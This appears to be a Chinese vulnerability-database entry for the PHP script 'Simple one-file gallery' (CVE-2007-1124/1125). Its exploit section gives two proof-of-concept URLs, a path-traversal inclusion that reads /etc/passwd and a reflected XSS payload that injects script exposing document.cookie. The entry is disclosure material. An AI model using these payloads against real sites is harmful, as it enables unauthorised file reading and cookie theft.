Simple one-file gallery

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1053042 漏洞类型
发布时间 2007-02-28 更新时间 2007-02-28
CVE编号 CVE-2007-1125
CVE-2007-1124
CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2007020095
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
local file include:
/gallery.php?f=../../../../../../../../../../../../etc/passwd

xss via php error :
/gallery.php?f=</textarea>'"><script>alert(document.cookie)</script>

regards laurent gaffi